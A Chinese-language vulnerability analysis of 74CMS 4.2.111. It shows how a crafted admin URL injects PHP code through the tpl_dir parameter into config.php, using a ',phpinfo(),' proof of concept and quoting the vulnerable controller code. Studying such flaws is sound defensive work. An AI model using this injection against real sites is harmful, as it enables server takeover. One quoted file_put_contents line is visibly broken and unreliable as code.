某CMS 4.2.111 CSRF to RCE漏洞分析

0x01 漏洞概述

74CMS是一套专业的人才招聘系统,其在后台更换风格模板的时候,未对参数 tpl_dir 的值进行严格过滤,导致危险的代码可以插入到配置文件中,进而导致任意命令执行。我在复现此漏洞时发现,觉得这个漏洞更像是csrf导致的getshell。只要管理员点击攻击者构造的url,就可以插入危险代码导致命令执行。

74CMS 4.2.111下载地址:http://www.74cms.com/download/index.html

0x02 漏洞复现

点击以下链接,插入危险代码。

http://127.0.0.1/74cms/index.php?m=admin&c=tpl&a=set&tpl_dir=',phpinfo(),'

以下url都可以访问shell

http://127.0.0.1/74cms/index.php 

某CMS 4.2.111 CSRF to RCE漏洞分析_第1张图片

 

http://127.0.0.1/74cms/Application/Home/Conf/config.php

 某CMS 4.2.111 CSRF to RCE漏洞分析_第2张图片

 

0x03 漏洞分析

漏洞在更换风格模板处,路径:\74cms\Application\Admin\Controller\TplController.class.php

    /**
     * 更换模板
     */
    public function set(){
        $tpl_dir = I('request.tpl_dir','','trim');
        $templates_info=$this->_get_templates_info($this->tpl_dir.$tpl_dir."/info.txt");
        D('Config')->where(array('name'=>'template_dir'))->setField('value',$tpl_dir);
        if(C('qscms_template_dir') != $tpl_dir) D('AdCategory')->ads_init($tpl_dir);
        $this->update_config(array('DEFAULT_THEME'=>$tpl_dir));
        $this->success('设置成功!');
    }

可以看到此段代码获取 tpl_dir 参数进行更换模板,最后用 update_config 函数更新配置文件。

跟踪一下 update_config 函数,路径:\74cms\Application\Common\Controller\BackendController.class.php

    public function update_config($new_config, $config_file = '') {
        !is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php';
        if (is_writable($config_file)) {
            $config = require $config_file;
            $config = multimerge($config, $new_config);
            if($config['SESSION_OPTIONS']){
                $config['SESSION_OPTIONS']['path'] = SESSION_PATH;
            }
            file_put_contents($config_file, "true)) . ";", LOCK_EX);
            @unlink(RUNTIME_FILE);
            return true;
        } else {
            return false;
        }
    }

不难看出, update_config 函数把传进来的参数进行组合成所需的配置信息,最后用 file_put_contents 函数把配置信息写入到\74cms\Application\Home\Conf\config.php 文件中。

某CMS 4.2.111 CSRF to RCE漏洞分析_第3张图片

而在写入之前并没有对 $tpl_dir 进行严格过滤,仅仅是用stripslashes 函数过滤反斜杠。从而导致代码执行。

转载于:https://www.cnblogs.com/penight/p/10882016.html

你可能感兴趣的:(某CMS 4.2.111 CSRF to RCE漏洞分析)